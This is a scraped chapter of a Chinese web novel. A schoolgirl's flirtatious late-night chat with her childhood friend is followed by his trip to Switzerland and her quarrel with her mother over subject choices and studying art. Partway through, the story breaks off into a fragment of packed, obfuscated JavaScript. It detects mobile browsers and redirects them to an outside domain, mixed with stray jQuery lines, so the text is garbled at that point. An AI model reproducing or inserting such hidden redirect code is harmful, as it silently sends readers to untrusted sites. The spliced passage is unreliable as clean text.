21.生气

作品:《金钗英雄梦

    懒死床上惊坐起。


    秋璇捧着手机呆坐在床上,麻了。


    盛夏因为她的大动作扭头过来,少女愣怔中,已经顾不上周遭任何目光。


    怎么回事?


    他看到她的投稿了?


    一定是的。否则以江楚淮的性格怎么会问如此私密的问题?


    也就是说,他不记得她在他床上闯过祸,至少不确定。


    那会儿才六岁,他不记得才比较合理,但是现在,他隐约想起什么来了?


    冷静。


    秋璇告诉自己一定要冷静,这不就是她一直渴求的隐秘又张扬的局面吗?


    突如其来的暴露焉知非福?


    秋璇表情淡定,手指微颤,默默打字。


    沛沛:哈喽?


    沛沛:是本人?


    江楚淮发了语音过来自证本人:“不然你想是谁?”


    但是这大半夜的,发什么语音,再简单的话在静谧环境和低音buff下都像在调情!


    她都能想象他把嘴唇贴近话筒,长摁语音键的动作和神态。


    他可能是坐在书桌前,也可能是已经躺在床上。


    莫名的,有点馋。


    秋璇反复听了三遍,调整表情,沉浸式进入调侃状态,也发语音:“哈哈哈我还以为你被盗号了呢,要不你干嘛忽然问这种问题啊,你不会也看校园墙吧,是不是看到那条一起尿过床有没有感觉的帖子了,我也看到了真的是好傻,投稿人真的是天才,我看好多人在回复说什么的都有,这么一想到咱俩也算一起长大吧,虽然没有一起尿过床,说真的咱们要不要也去凑个热闹回下帖子给点意见啊?”


    约莫半分钟后。


    zz:一口气三个“真的”。


    她都没意识到。


    咬文嚼字干什么真的是?


    沛沛:怎样?


    zz:你以前


    他顿住了,也没显示正在输入,不知道是断网了还是断气了。


    沛沛:山羊大喘气憋死了吗?


    zz:你说谎心虚就会满嘴“真的”。


    秋璇一把将这扎眼的手机扔走,倒头把脸埋进蓬松的被子里,“啊啊啊魔鬼啊!!”


    盛夏摘掉耳机,投来关切的视线。


    秋璇知道自己的脸一定是涨红的,没敢抬头和姐姐对视,只伸了只手臂出来,拜拜手表示自己没事。


    等她调整好了,又坐直起来,摸来手机,闷咳两声,发消息。


    沛沛:以前是以前,现在是现在,再瞎说八道黑名单见。


    zz:没说是现在。


    沛沛:……


    沛沛:哈,哈,逻辑学得很厉害呢。


    zz:不如状元厉害。


    哎?干嘛提状元,他是指她的说说吗?


    怎么觉得怪怪的?


    是她自恋吗?


    她怎么觉得酸酸的?


    于是秋璇发语音,夹着个嗓子:“你是说张澍哥哥吗?”


    zz:不认识。


    秋璇飞速打字:是南理的理科状元啊,见义勇为十佳青年,脸帅人好学习牛,会唱歌会弹吉他还会架子鼓!


    zz:挺好。


    zz:睡了。


    怎么办,是不是玩脱了。


    她没法确定他是不是吃醋,对应的也不知道该不该解释,她甚至还有点小坏心思,顺水推舟探探他的想法。


    沛沛:等下等下~


    沛沛:考完试你去找我了?有什么事吗?


    zz:没事了。


    沛沛:忘了跟你说,我们宿舍都根据你给的选科指导选的科,都夸你超级权威,让我跟你说谢谢!


    顺顺毛总可以的吧?进可攻退可守。


    zz:忘了也行。


    zz:状元更权威一点。


    她还想再说点什么,他再次发来一个“睡了”。


    秋璇懵了。


    他是生气了吧?


    可是如果仔细看,他平时也这种说话语气,而且就算只是发小,原本崇拜自己的人忽然满口夸赞其他人,也是会有些吃味的吧?


    到最后,她什么都没探出来,反倒把自己搞得更纠结了,于是把聊天记录截图发宿舍群里。


    沛沛:这算是吃醋了吗?


    夜猫子果然都没睡。


    苏柳君:老天怎么不算?感觉他都要被陈醋腌入味了!


    陈芷:扑鼻而来。


    林夕乔:感觉他是有些闷闷地生气呢~


    会说多说,秋璇脸都要烂了。但她尚存一丝理智,把之前的部分聊天截图也发出来对比,只截了每次结束时他的潦草告辞。


    陈芷保守派:这么看冷淡程度差不多。


    苏柳君激进派:我不这么认为,今天的是有语气的你们不觉得吗?


    林夕乔中立派:要不再观察观察。


    秋璇笑脸又收敛回去,准备听取中立派意见。


    她有的是耐心。


    可就在她放下手机前,苏柳君发来一张截图。


    江楚淮居然真的回复了那条投稿。


    帖子热度大,他的评论排在末尾毫不起眼,但就四个字,瞬间占据了秋璇的视野。


    zz:别想太多。


    -


    江楚淮在飞机起飞前回复了帖子,然后关机,闭上眼睛,开启十几个小时的航程,前往瑞士。


    仔细算算,自从来到东洲,还没有在东洲过过年,每年寒假,他不是在某个冬令营,就是和母亲一起被安排到某个国家度假。


    今年的春节旅行安排在瑞士。


    父亲往往会在初三或者初四抵达,陪同他们度假,但绝不可能是年夜或者初一。


    他在哪里,不言而喻。


    对于目前的江庆山来说,卢家依然有着举足轻重的位置,江含章在哪里过年,他自然也就在哪里过年。


    母亲总劝说他,要理解父亲。


    恕他不通情理,把公事依靠在私事上的男人,他不理解。


    “湛湛,你最后选科是选了什么,没听你提起。”母亲从隔壁座位探出头来。


    江楚淮重新睁开眼,“还没想好,可能还会改。”


    “你真的不想出国念书吗?本科就去,咱们可以找个清净的国家,你爸那一圈朋友的小孩,不是英美,就是加拿大和澳洲……要不瑞士怎么样?”母亲低声商议。


    “我困了妈,改天再聊吧。”


    “行,那先休息吧。”


    原来选瑞士旅行,还有这一层意思。


    江楚淮无声地笑了一下。


    他学什么都无所谓,所以那天去十六班,其实是想问她,是否需要他,同她一个班。


    显然,她不需要。


    她用了他的选科指南,却连结果都没有告诉他,一副没事人的样子。


    很不礼貌。


    原本江楚淮为此生气。


    他想了许久,才确定那种憋屈的情绪是生气。


    与她聊了几句,这种情绪更甚。


    除了告诉自己别想太多,似乎也没什么出口。


    他现在觉得多余了,这种事都挂在心上的话,他的情绪也太泛滥了。


    毕竟她似乎,既没礼貌也没分寸。


    她可以一边发帖问他有没有感觉,一边谁的手都牵。


    -


    整个年节,秋璇赶场一样地东洲和南理两头跑。


    姐姐上了名校,因为父母的职位限制不能大摆升学宴,所以趁着年节,王莲华和盛明丰分别带着女儿到处“炫耀”,作为在读高中生,秋璇当然也要跟着接受熏陶和洗礼。


    几乎每一桌都有个大人冒出来问秋璇选文还是选理,一时半会儿和他们说不清楚,秋璇索性回答:“随便。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159041|178735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >熟悉的亲友都知道她什么脾性,面对她的冷淡依然能够夸得出口,夸她长大了,乖巧了,越来越懂事了。


    几个词没一个中听。


    选文选理都可以,亲戚们都这么说。


    他们认为她学什么都一样,反正也冒不了尖,有书读就行,待她毕了业,她的书记老爹还未退休,还有能量给她安排一份尚算体面的工作。


    如此就可以了。


    但是秋璇确实长大了,连斗嘴都懒得开口,她还非常不理解几年前的自己,为什么执着于和想法完全不同的人吵得面红耳赤。


    选科的结果,她只对王莲华说了,起初王莲华不了解,问她平时分数能否上本科,她回答可以,王莲华心满意足,便没有发表什么意见。


    但是等她商量着下学期要开始学美术,母亲急了,开始四处打听选科的事,这下连她的选科也彻底不认可了。


    某天下班回来,推门的气势就与平日不同。


    果然,未见其人先闻其声——


    “物政地,你拿脚选的科吗?你知道重高选这个组合的不到20%吗?我打电话了解了,你们年级选这个的总共不到20个人!”


    秋璇正在网上查看美术生入门购物清单,回头,淡定解释:“我知道很少,但这已经是最适合我的组合,首先地理是我所有科目里成绩最好的,我也看过以后要学的内容,觉得我还是喜欢。其它科对我来说都差不多,但是我化学特别差,先排除,生物我也不感兴趣,政治好歹以后考研还用得着。”


    王莲华表情透着不可思议:“你这个组合你上本科都成问题你还考虑什么考研?”


    秋璇:“我走艺术生啊,算了算分,努力一把,我可以。”


    王莲华:“那你抱政史地啊?”


    “不行,”秋璇很坚决,“我以后想做动画动漫相关的,但是现在不知道具体偏向哪一方面,像数字媒体艺术这些都限制物理,历史组的话只能报传统动画,比较受限,物理以后能学3d建模什么的……”


    王莲话似是惊讶于她的条例和对未来的设想,顿了顿,还是不解:“可是你那个物理,你期末考这么点分,心理没数吗?”


    “我愿意为我的爱好去适应和喜欢物理。”秋璇语气肯定。


    王莲华被她云淡风轻的样子气着了,始终觉着她是心里没数,轻“哼”了声,话赶话地声调越来越高:“爱好?你看看分数线清醒清醒!你以为艺术生文化分要得低一点就是走捷径啊?人家从小就开始学的你现在临门插一脚,凭什么觉得自己能比人家好?你是看你姐姐冒险高三才出书考了河清你也技痒了是吗?这种好事能同时落到你们两姐妹身上吗!”


    姐姐,只要说到学习,就要拿姐姐压她。


    秋璇声音一下子就拔高了:“我说了我会努力,我当然没办法现在就保证什么啊,你到底要我怎样?”


    王莲华:“太冒险!我不同意!开学就给我改选政史地!”


    秋璇:“可是我想做的工作专业限物理啊你怎么就说不通呢!”


    王莲华:“到底是谁说不通!上本科才是重中之重,无论念什么专业也好,毕业了好找工作!”


    秋璇眼眶发红:“你所说的工作,就是让我爸随手把我扔进一个办公室,日复一日地做同一件事对吗?”


    “你现在还小,不知道稳稳定定做一个普通人是多少人毕生的追求!”


    秋璇打断母亲的话,声调却降了下来,语气哽咽:“那你问过我的追求吗!”


    王莲华被她忽然低落的情绪压制,忽然没法说出要求的话。


    秋璇缓缓从书桌前站了起来,视线渐渐与母亲齐平,不知何时,她已经长得这么高了。


    “妈妈,你们从来没有对我抱有期待,这件事我十二岁的时候就知道了。但我对自己还有期待。”


    她离开了让人窒息的屋子。